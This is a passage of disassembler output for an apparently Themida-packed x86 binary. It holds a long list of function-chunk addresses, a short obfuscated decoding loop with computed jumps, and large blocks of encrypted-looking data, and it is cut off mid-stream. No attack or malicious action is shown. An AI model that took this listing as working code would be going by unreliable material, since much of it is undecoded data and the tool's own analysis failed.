0058B00A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058B085 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058B6B0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058B72C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058B9A8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058BB23 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BB94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BBFA SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058BD46 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058BD84 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058BF3F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058C450 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C48D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C584 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058C6A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058C717 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058CB00 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058CC2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058CE0B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058CEC2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D051 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058D0BC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D85C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D8FC SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058DA5E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058DA9F SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058DC36 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058DCE0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058DDC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E4EB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058E6B9 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058EB86 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058EEDD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058F22F SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0058F508 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F534 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058F748 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FB47 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FFA2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00590072 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005904A9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005904D1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590682 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590CE7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00590E4A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059129D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00591339 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00591954 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00591C9E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00591F80 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059215C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059230E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059245E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592757 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00592988 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005929A0 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00592A0C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592A61 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592AD7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00592B98 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592ED8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592EFC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005934B9 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005935D2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00593BFB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00593CF4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00593EBE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00594290 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00594734 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005947DC SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005949E4 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00594C51 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594DA9 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00594F0A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005951C7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00595288 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005958F0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595AD4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595C88 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005960D9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005960FD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00596124 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005963AE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005964DB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596923 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00596B92 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00596BF4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596C4E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00596FEE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00597076 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059722C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059726D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00597613 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00597648 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00597ED0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597F61 SIZE 0000000A BYTES mov ecx, [ebp+7E41ADDh] pop eax jbe loc_5EC2FB mov ecx, [ebp+7E41AE5h] loc_5EC2FB: ; CODE XREF: sub_5EC2E8+7j add eax, 68CAh jbe loc_5EC30C loc_5EC307: ; CODE XREF: Themida_:005EC2D9j sub cx, 11E8h loc_5EC30C: ; CODE XREF: sub_5EC2E8+19j xor edi, edi movzx ebx, si loc_5EC311: ; CODE XREF: sub_5EC2E8:loc_5EC386j mov edx, [eax+edi] sub [ebp+7E42EE1h], edx xor edx, 28D9438Bh adc bl, 0D0h sub edx, 71BA852h mov si, cx add edx, 2E6743ACh sbb bl, 63h push edx mov ecx, [ebp+7E42BD9h] pop dword ptr [eax+edi] mov [ebp+7E41EC1h], edx sub edi, 4 add [ebp+7E41E61h], edi cmp edi, 0FFFF97ECh jnz loc_5EC379 or ebx, [ebp+7E41815h] jmp loc_5EC393 ; --------------------------------------------------------------------------- db 0D3h, 28h, 0ACh dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 0A45910E7h db 0C2h ; --------------------------------------------------------------------------- loc_5EC379: ; CODE XREF: sub_5EC2E8+6Cj ja loc_5EC386 jz loc_5EC386 cmc loc_5EC386: ; CODE XREF: sub_5EC2E8:loc_5EC379j ; sub_5EC2E8+97j jmp loc_5EC311 ; --------------------------------------------------------------------------- db 2Eh dd 0DB8E98F9h db 0CCh db 44h, 0E8h ; --------------------------------------------------------------------------- loc_5EC393: ; CODE XREF: sub_5EC2E8+78j jmp loc_5EC3E0 ; --------------------------------------------------------------------------- dd 6A05C6D0h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Ah dup(0) ; --------------------------------------------------------------------------- loc_5EC3E0: ; CODE XREF: sub_5EC2E8:loc_5EC393j jmp loc_5ECAB3 ; --------------------------------------------------------------------------- push 7EAA0DDh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EAA1AFh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EAA242h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EAA2F0h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EAA3F2h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EAA4A6h jmp loc_58A287 ; --------------------------------------------------------------------------- db 0ECh, 14h, 0F2h dd 4F6F485Eh, 0AFC9A5BBh, 1226051Bh, 718D687Eh, 65FE04DDh dd 0C4DA6E8Ah, 2238CCEAh, 849A2E44h, 48FB8FA7h, 3F641B98h dd 0ADF213A8h, 4136B315h, 0D13A83Fh, 9EBD92A4h, 2Dh, 3FFBB224h dd 8171D158h, 79569A6Fh, 7E5B2961h, 22DDD266h, 751442A0h dd 82927A97h, 0BAACBC7Fh, 32AF1161h, 1442824Dh, 6C8EA009h dd 39424D9Bh, 28CF4C5Dh, 0A61442A0h, 11ACE43Dh, 568EAA85h dd 951262BBh, 13A6AD13h, 0CCECC561h, 0ED8E3B73h, 5A13A6AEh dd 9E611D49h, 37D87803h, 253h, 1886E557h, 28229649h, 0DA454116h dd 394F2DCBh, 31546601h, 6200505Eh, 7A586A88h, 0D754B618h dd 1442A020h, 25DA45AEh, 0B11442A0h, 6F3D3648h, 3D13A68Ch dd 46F6B3CDh, 0AFFF9B73h, 0A60A4D32h, 47A00913h, 95DC4E3Eh dd 0B1754616h, 0F4F6EF01h, 76D788F3h, 0C8459519h, 0DFB531CEh dd 3DDB2B94h, 1D3B1560h, 0B9F14AE5h, 0B4460C1Eh, 931F3B16h dd 0CB669EB6h, 0BEF996B9h, 0B50ABA41h, 56AF18C7h, 0BA518906h dd 9303C052h, 906FB27Ch, 49A9447Ch, 0FF5891C6h, 1C3411AFh dd 7D957288h, 21105929h, 5EE42496h, 48Dh, 0A5395B33h, 296B68Fh dd 62F610ECh, 0C5596D4Ch, 24B8D4AFh, 0D1ACA54Bh, 310B21B5h dd 8B697F13h, 0EECBE175h, 0DF8F42D6h, 0A8009D62h, 65F43913h dd 0FD19F492h, 0DCF4D1EBh, 0ECC2CDA4h, 0A85B2A9Ch, 2484A27Ch dd 5E39B024h, 0F9D7E942h, 0A6CB927Ch, 0E9C46013h, 0A1FA95CDh dd 0BA95330Dh, 0B9CB669Eh, 0C0CF058Eh, 8BC3E1BBh, 0E54797F0h dd 0C5516B47h, 0C1BACCECh, 14420713h, 444F58C1h, 8317AE20h dd 994641B3h, 6AA2B695h, 106C6FCFh, 7A15384Ah, 6D67E434h dd 33BBC0DAh, 25A156D3h, 0C42DA408h, 0A07D1B6Bh, 0A3B55088h dd 258906DDh, 950058D5h, 69D2A3EFh, 7F9E7B19h, 8D07FC10h dd 0AE429BF3h, 9470BB98h, 0BFCD217Ah, 0D2B9CEAFh, 3BB0C92h dd 2D050000h, 8861770Bh, 0E2BED468h, 3F1E34C8h, 0A681972Bh dd 0D71DF68Ah, 0F387A37Eh, 51E503DDh, 0B3475D3Bh, 14A8C09Dh dd 4F34B161h, 0B13A801h, 795637C6h, 3D522961h, 0A6A42171h dd 0F413A6A2h, 5CD93B8Bh, 13A6A3A7h, 0A2BA9733h, 0F6153749h dd 48C51599h, 144C3CAEh, 0D68AC434h, 0FAE8E40Bh, 72EF51A1h dd 1B8C2F8Dh, 0B5D3AD49h, 7789E27Dh, 61EFB99h, 677F5C72h dd 7737582Fh, 96AA8927h, 6329A684h, 311C6809h, 2F2274C8h dd 43835A4Eh, 328BDh, 9EC09800h, 0FB1BF40Ah, 5B755167h dd 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h, 0CEE47896h dd 3046DAF0h, 0F4A73B53h, 230C744h, 599E13A8h, 617956CAh dd 713D5229h, 8E1AA421h, 0CF3813A6h, 1B36D3Bh, 45FC0000h dd 0AA048BDDh, 1996F85Ah, 1442A062h, 7C7587F0h, 13A68CAEh dd 0EA02DF7Dh, 260517B2h, 96A9B4BDh, 78E69A7Bh, 0CA479717h dd 0EE87A570h, 663D75DEh, 0B8358529h, 16A05560h, 0AF54D133h dd 1C18AE56h, 0F199E568h, 36D22369h, 6F0A4258h, 0BC250416h dd 0A6F1CE6Ch, 0C559B2C8h, 66BAD2AFh, 6514673Ah, 7AB93F7Fh dd 46000002h, 0A2B84C6Eh, 0FF15A9C9h, 5F750923h, 0C2D86C80h dd 5E37CBE7h, 0C8E4BF98h, 26441E34h, 889E7C92h, 0E901DEF4h dd 75F2A255h, 13A8028Eh, 5678074Ch, 52296179h, 0BF21713Dh dd 42A0BD42h, 0A47D1914h, 3B192B84h, 0A6BB2CBEh, 0A539A213h dd 0A608117Eh, 0A6BB5229h, 1C900013h, 0E5335E0h, 971464BDh dd 13A60BE0h, 0D0F3056Eh, 3D9FEFBFh, 72AAC29Fh, 1ECCC5D7h dd 0CD144227h, 7709EE6Bh, 5CC51B8Ah, 0F9026B4Ah, 552AA709h dd 11B8A77h, 158D8698h, 3956B9Fh, 60D2228Ch, 71A227E9h dd 8AA882E4h, 0DF411F31h, 3E196441h, 0F64FEA22h, 56D323BEh dd 8AE806A1h, 0B9B2C42Dh, 8D0C2787h, 0A21464CDh, 5EFF7AC2h dd 844A5C41h, 7CCCE2ADh, 6449570Ah, 0C1D3B20Bh, 0DF3266E3h dd 77E0B52Bh, 94AC8927h, 47C42600h, 0BA3420B0h, 23F7AE1Eh dd 94F3FC4Ch, 320F293Bh, 36E4C61Ah, 0A9E9C38Ah, 17823h dd 4E704800h, 0ABCBA4BAh, 0B250117h, 6E826177h, 0CDE9C4DAh dd 0C19A6039h, 2036CAE6h, 7E942846h, 0E0F68AA0h, 0A457EB03h dd 38077F4h, 94E13A8h, 6179567Ah, 1CF99729h, 1F31CC04h dd 0CB1B93FCh, 0A6A2D04Eh, 0A1359E13h, 6C424DD0h, 3FFF9F1Ch dd 2C9513A8h, 49613EDCh, 779DBB5h, 5040D739h, 9E65D064h dd 3C13A8A1h, 0CAA7C1D3h, 0ECA37AB2h, 1BF572C2h, 0D914423Eh dd 0EC45633Dh, 31952A9Ch, 387B74E2h, 0CDAA4826h, 2E0B21B5h dd 8807DE16h, 7B59D626h, 91C727Ah, 6541946Dh, 28BAF24Bh dd 0FA45D4ABh, 0C0198203h, 0FFA11367h, 405A47h, 0C47Ah dd 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh, 819D788Eh dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h, 580B9FB7h dd 4542BA8h, 0BD0213A8h, 65424D2Eh, 5C0EB74Bh, 52664514h dd 0D350A0F9h, 13A8CD25h, 44124AB3h, 61FF4F67h, 99346C84h dd 724F6587h, 3111E663h, 21BD13A9h, 77D02947h, 5178923Fh dd 0A8257E46h, 8CA481FCh, 0AAC09E3Ch, 0A3C5D772h, 364E2BC9h dd 24BC5CFEh, 26CC4C6Dh, 0C4A1BBCDh, 44E274ACh, 203A4C6Ah dd 3EF52D41h, 0DE7C3F67h, 0BDDBB502h, 855E2C64h, 0E0FA0C65h dd 4157EB03h, 233D1964h, 160C92CAh, 92000000h, 17EBDE20h dd 91B34EDh, 15F49234h, 0A2DAF0CEh, 0B99CAE07h, 5C7E566Ah dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8950EE43h, 61BD55E0h dd 810B7732h, 7C6193F5h, 4EDC138h, 0F704EDC1h, 0A9F581DDh dd 1FFCCF4h, 0E8835DE8h, 24048704h, 5FF5685Ch, 1C890000h dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 52240C89h dd 0EA9F96BAh, 8BD38907h, 0C4832414h, 0C8B5404h, 4C48324h dd 8BA52h, 0CA010000h, 148B1A89h, 4C48124h, 0FF000000h dd 81592434h, 4C4h, 241C8B00h, 81E38953h, 4C3h, 4C38300h dd 5C241C87h, 0F9D7DEE9h, 0E534C5FFh, 333E4396h db 3Fh, 57h, 0A8h ; --------------------------------------------------------------------------- loc_5ECAB3: ; CODE XREF: sub_5EC2E8:loc_5EC3E0j mov eax, 7EAA58Fh add eax, ebp jmp eax sub_5EC2E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- aSZto@xb_MfzcS db 'αΣ^Z@X. mfzc:θ',0Ah,0 align 10h dd 92F2C700h, 1A6A7374h, 0B728C6CAh, 0DE8B5946h, 6E71C181h dd 81660000h, 0BEB381CBh, 3C882746h, 0BD0EE81h, 860F3C88h dd 6, 0C161F381h, 18B2540h, 0C081DF8Bh, 645747F0h, 0A830Fh dd 8F0F0000h, 4, 19E1BB66h, 222BE881h, 81FC794Ch, 1C805AC0h dd 0FE8B6673h, 0F98A0189h, 3D35E981h, 0B9B66975h, 3D31C181h dd 0D78A6975h, 0F01EE83h, 1085h, 4CCB8000h, 1DE9h, 0B24F5E00h dd 55CCFA82h, 6BBB6617h, 0FFA0E973h, 0C2F7FFFFh, 0E242DBB4h dd 0B3A438C5h, 0AE949F3h, 6B000000h, 3B4CB7h, 0 dd 4A4E900h, 26680000h, 0E907EAA8h, 0FFF9D6FBh, 0EAA89468h dd 0D6F1E907h, 0BF68FFF9h, 0E907EAA9h, 0FFF9D6E7h, 0DD71936Bh dd 3ACEEEC7h, 9A2E4824h, 0FD91A584h, 5CF00CE7h, 9E47D83h dd 694359EDh, 0C3A1B74Bh, 260319ADh, 17C77A0Eh, 0A807E59Ah dd 9D2C7113h, 115F492h, 21C2EC9h, 5D30B27h, 5D7C1028h dd 0AF2C7C32h, 13A68B31h, 4CDE167Fh, 82BAD0AEh, 86BED8B4h dd 878092EBh, 13A68CF4h, 85630153h, 4C9C376Fh, 0A68C28CFh dd 2B3DA613h, 59A6D68Eh, 7ED877E5h, 2D8h, 0B33092A7h, 1442A0CCh dd 0E40F218Ah, 3F6F20A6h, 8CA472EFh, 97213A6h, 0EA73F500h dd 0E042EEC3h, 249D4F6Eh, 58C3537Bh, 110BE6A3h, 91B4C62Fh dd 0FE60B0FEh, 0C6BD3A9Ch, 94110BE6h, 0E73BC02Bh, 3797110Bh dd 0BE7C5BAh, 0CF289111h, 0E9A6C4BDh, 0CB3416EFh, 53A7197Bh dd 18309A13h, 7502F964h, 67D0196Fh, 0D7B88F55h, 9742FED0h dd 4B9B7D6Dh, 6F6B29CEh, 0E33CA519h, 50B91693h, 5CC51E8Bh dd 79916E0Ch, 0EEB8967h, 6F4C62F6h, 0E51C0357h, 5B9B5CEEh dd 2C5D5h, 82A47C00h, 0DFFFD8EEh, 3F59354Bh, 0A2B695ABh dd 11DF80Eh, 0F56E946Dh, 546AFE1Ah, 0B2C85C7Ah, 142ABED4h dd 0D88B1F37h, 8D4AB28h, 3D8213A8h, 1AF492AEh, 0C8C7EAFCh dd 963496E6h, 9C6AA2B8h, 0D46FA7BFh, 6370697Bh, 2F13A806h dd 0FDD876C6h, 5C374DE1h, 7452F040h, 0D9864C5Eh, 0EC57F8D9h dd 277B9370h, 6A164502h, 570389C9h, 0EA000002h, 465CF012h dd 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh, 6C8863FCh dd 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h, 13A80862h dd 4D1CABF0h, 0AA1C6C42h, 39472AFAh, 613BC702h, 5E700B43h dd 0CF940380h, 59C213A8h, 0D08B7421h, 2F4013A9h, 0ADB84777h dd 751DD870h, 46000001h, 430C2092h, 0B2AE2845h, 91A986A0h dd 96AE8B59h, 0AB8A2802h, 2D628597h, 31CF3181h, 69043C54h dd 106C5E57h, 0B92213A6h, 172BD481h, 8FA013A6h, 6658A7D7h dd 3A7DD877h, 0A6000000h, 5A39424Dh, 3B9DED46h, 0A0A75CD9h dd 0B7341442h, 1442A0C0h, 6BD4258Eh, 0A9AA6059h, 0CB6913A6h dd 0E6C5D7EDh, 0E798457Dh, 6413A6A9h, 946B1353h, 41D87808h dd 0ABh, 6179566Ah, 64805B29h, 69815E2Ch, 6E866331h, 0A4C4E5DAh dd 7E5B1442h, 0E7405433h, 535B3453h, 6C8C6503h, 0A9879934h dd 0A4420E2Ch, 0AAEC5C13h, 5A724F2Dh, 29B635FAh, 4EA7C19Dh dd 698560FEh, 1C99FBD5h, 13A48E67h, 5E788AF3h, 20136783h dd 0BF6A1ABEh, 12CF97Fh, 3D150000h, 9871871Bh, 0F2CEE478h dd 4F2E44D8h, 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh dd 0C3576D4Bh, 24B8D0ADh, 0BF44C171h, 1B13A809h, 7B5647D6h dd 0A014EB68h, 0A9871442h, 80D94293h, 9AB89230h, 0A036CD4Ah dd 3BA41442h, 14F10729h, 569768FCh, 73116179h, 0AA457D97h dd 2704D298h, 335C7B0Fh, 0B38D2B7Bh, 0A05A219Eh, 8FF81442h dd 5530FE36h, 0F0CEE039h, 0A6EF6F73h, 1EBC2E13h, 0CA958F08h dd 59C2A1B3h, 74906B09h, 2E10EBE0h, 0A68313A6h, 57347D5Bh dd 136C073Fh, 351026BAh, 875BE119h, 0EA000000h, 0F875424Dh dd 1442A003h, 0BD0D66CFh, 0A8065740h, 5A92FB13h, 4F2AC8h dd 76AE0727h, 0D2AFC9DBh, 5991AB87h, 5B93B18Bh, 7A0E67C0h dd 613C8764h, 0E6720D45h, 4898F109h, 3B8C96D6h, 6D482C05h dd 257E1951h, 0B0A04D13h, 112F0EF5h, 0BDDBB553h, 23560EABh dd 815DA885h, 3BD60E67h, 1A320F29h, 7B937086h, 82967543h dd 88BC934Ah, 8E6DB895h, 4EA7427Ah, 0AFC7A4BAh, 8F177h dd 0D9770000h, 0FED3E5FBh, 7E563E8Dh, 7956245Ch, 7D5B2961h dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h dd 9B74427Ah, 81EE437Bh, 4ECh, 240C8900h, 112F68h, 242C8900h dd 62DE68h, 24148900h, 2F6B6856h, 815E242Dh, 0C7887EF6h dd 34815623h, 0BB37CC24h, 0F5815D16h, 16BB37CCh, 5B23685Eh dd 24890000h, 24048324h, 81555A04h, 73192434h, 428F213Bh dd 0EBB85008h, 4014573Ch, 0E625D0F7h, 2D7A2518h, 48E48CE9h dd 58084231h, 5A2434FFh, 4C481h, 2C8B0000h, 0E2895224h dd 4C281h, 0C2810000h, 4, 5C241487h, 0F9D262E9h, 10B8DDFFh dd 307EAABh, 1E0FFC5h, 0CB575993h, 47063457h, 6A4AFFFDh dd 466C14C4h, 1973DC71h, 695AE752h, 97ACE8Dh, 0DC752CDDh dd 8839A868h, 0D2123BC5h, 0C9127D03h, 1903EEA6h, 9A4491EDh dd 0D635027Eh, 0B247A611h, 0E3702C49h, 0F41140ECh, 9D4EDAF6h dd 0AA2AA408h, 0FC7E7D5Ah, 3765960Bh, 0EB41959Ah, 0DE2F6195h dd 532D2CC4h, 5DB17DD8h, 0F7B132AFh, 55323D54h, 1DB13256h dd 0D5B153ABh, 0B39FA2AFh, 75B13254h, 0AA1F593Bh, 0A1749CD0h dd 913276Eh, 0DEBE8422h, 0ABB13251h, 0D5B0B759h, 0EA443256h dd 75BDDB56h, 0DFC63256h, 16398950h, 92EE4CD9h, 57B1AA96h dd 0ABB137BFh, 0E2A3156h, 0EAB141CDh, 75B139BFh, 0E2524456h dd 2A05ACE7h, 0B3B1932Eh, 43583256h, 77B13256h, 5BC79910h dd 0B5FCEBFFh, 0E01497A3h, 3B9B6B08h, 5D54A898h, 0A0585256h dd 9B13256h, 2D750AB3h, 39BB5CBCh, 8BE6CCAFh, 0C2BE522Ah dd 0BAA1DA88h, 0FD2B3256h, 61D03A4Ch, 5F3E371Bh, 0A2396B8Ah dd 0B4E9729Bh, 0B7689937h, 75B13256h, 0ABA2F665h, 8F63A197h dd 0D1513FADh, 0D2471045h, 0B958F43Dh, 0FBB13256h, 6C47B775h dd 310383F2h, 0AAAE58D0h, 711D9AF7h, 57B132D7h, 57EEE089h dd 4470D2D7h, 0D5343D36h, 2B13256h, 75B1325Fh, 825816A9h dd 0EF51D8AEh, 0CFD0694Bh, 0A2D13256h, 0CA42B930h, 0D0583256h dd 70B13256h, 48ABBD71h, 0DCD13256h, 52EC20EEh, 0AEB138D8h dd 57B4DB56h, 0A5BA3256h, 0B47F0BA0h, 0EA493256h, 7D313D56h dd 0DAB13256h, 0D8F889A3h, 0AED03E51h, 57A5DB56h, 25C83256h dd 445AC27Ch, 3A69814Dh, 0DE59DC8Ch, 8FC6F556h, 5DB18245h dd 0B93D3D36h, 0BEB13256h, 0ABB13244h, 0AFB790CCh, 33790A8Fh dd 0D5C78708h, 3652B8F0h, 0B131A4F3h, 0AEB153AAh, 57B0B959h dd 0AB4D3256h, 0D5B1CE56h, 393A5236h, 75B13CBFh, 920EF256h dd 46491D8Eh, 2466811Eh, 364636ACh, 0ABA6BD59h, 0C7583256h dd 89B13256h, 0FF5749CDh, 32D7375h, 0FF021763h, 40CD46B3h dd 57B1536Ch, 0CBB132AAh, 21ACD5D7h, 0EAD0686Bh, 7C58C756h dd 0D5B13256h, 348D649Bh, 67123660h, 0BE483256h, 0ABB13250h dd 3C58B547h, 0EAB15D9Dh, 9CB132AAh, 0BAB13246h, 0D5622DB5h dd 0B5038C25h, 67912CCh, 0F12B67E7h, 0D8583256h, 29B13256h dd 0F3D7EFBFh, 0BEB2B9C2h, 0F406F148h, 0AEB0B059h, 57443256h dd 0B2313D56h, 0DAB13256h, 0EAB121D0h, 75BFDB56h, 0E2573256h dd 3974548Ch, 8FB52EC1h, 4500B6DCh, 14D13256h, 9C5B7F61h dd 8AB13237h, 75B138BEh, 54C33A56h, 59367446h, 250D72F4h dd 57D06D85h, 0ABB3CB56h, 0D5B03256h, 0EA4D3256h, 74363D56h dd 4FB13256h, 5DB3358Eh, 0AEA83257h, 579A3246h, 0A9EB324Bh dd 0DF1DEC96h, 8873BF44h, 7502BD60h, 0B0313D56h, 0B4B13256h dd 0AEB13253h, 4255BB39h, 42B132E0h, 0D5B13244h, 390F101Dh dd 57DAF36Fh, 6E6955C8h, 0BF51085Ah, 0AEB1C0FDh, 0EF7BB336h dd 57DE12C2h, 0D5B1CE37h, 0E5B132AAh, 75B124DCh, 0AA323D56h dd 0B4B13256h, 0AEB1325Dh, 3A182835h dd 0D5D9BEDh, 0D5DB0888h, 55D75256h, 0BC30BCE8h, 8456FABDh dd 3DB13237h, 59FECEE8h, 0DBBE6375h, 0ABB13256h, 0D549530Ch dd 0DB36556h, 14768D59h, 0B5D13256h, 0DABEE1E9h, 0AEB13256h dd 0B13237h, 0ABB13A54h, 5BBE5256h, 0EAB13256h, 75B1CE37h dd 2D167A3h, 3127AA93h, 0AEBCDBCAh, 0B1F03256h, 0D9CCE671h dd 6BC87295h, 6B845E49h, 3EEB6A8Eh, 0BAB7DB2Ah, 4A273256h dd 1D93DF52h, 533853CBh, 0ABB13B72h, 0B6232F56h, 556F2B36h dd 9E22E7DAh, 7DB7D31Eh, 3E232FA2h, 116F2B36h, 66BEE7DAh dd 9ABE6006h, 8DEB6A0Ch, 0E3580359h, 0F8B13256h, 33216114h dd 180D9DD8h, 52216A0Ch, 0DCBAE8D3h, 0ABBDDB56h, 0E8253256h dd 0D3B1B164h, 809DED28h, 0FE38C9DCh, 0FE13672h, 0FCE16006h dd 0FEB0359h, 0F9E10359h, 8DEB0359h, 0DBBE6A0Ch, 75B122BFh dd 0BC507A56h, 0CFACC691h, 70A85235h, 0BD64BEE9h, 0F3E9688Dh dd 194E2C0Fh, 0B0AA1843h, 2DE9680Eh, 2BD0AF45h, 9EC33256h dd 0B10F4B16h, 6C7B073Ah, 0BC27830Eh, 6693DF52h, 0EAE96A0Ch dd 75A2DB56h, 8EBD3256h, 5FCD5A34h, 0B675E850h, 60F83917h dd 0E6436AD8h, 0DAB1325Ch, 0EAB127D9h, 75A1DB56h, 0B9C23256h dd 0F4DB12BAh, 0AB6A7FCBh, 0DF36085Bh, 0ABB1E141h, 3CB132A3h dd 0EAB13259h, 8FB5AD71h, 591EE0A8h, 31912CF5h, 0AEAF8AABh dd 57A5DB56h, 58D93256h, 7CD102BAh, 2E57DF7Dh, 0FF313DF2h dd 0A2192FEBh, 5DB100B3h, 57B132AAh, 0CE6BB236h, 0ABB126BFh dd 0D1EA6F56h, 4AE09B60h, 0F733587Dh, 5A6C59FCh, 0B9199B39h dd 0AEB1536Ch, 0AFB132AEh, 0B8583256h, 0B5B13256h, 4F568831h dd 9E332F09h, 7738A42Dh, 0D3C0F196h, 0AEB1F9E4h, 523D3D36h dd 0CDB13256h, 4DD8E2D7h, 0E5B13237h, 75B13CD3h, 0BAB8DB56h dd 0A1323256h, 53CB5008h, 57A56D70h, 20D75256h, 0B4E96485h dd 6EBE3256h, 75B1325Fh, 0DC2D8536h, 0F403C3D7h, 56B13237h dd 5B583256h, 46B13256h, 606431BCh, 5E7B526Dh, 758EF795h dd 0B2333D56h, 3DB13256h, 5E0F8930h, 57D0E8DDh, 43D15256h dd 0D5B13247h, 47A23221h, 0EA308FF0h, 0E692C568h, 129B95EEh dd 930B6998h, 36BCC45Dh, 0CBB13237h, 0D5B13BBFh, 18597D56h dd 0C09B47EBh, 643A08CCh, 52B13237h, 0AEB133D3h, 57B1CB56h dd 3703C736h, 0DAB13237h, 0EAB12BDAh, 7E595256h, 21B13256h dd 1536481Ah, 4455AAA9h, 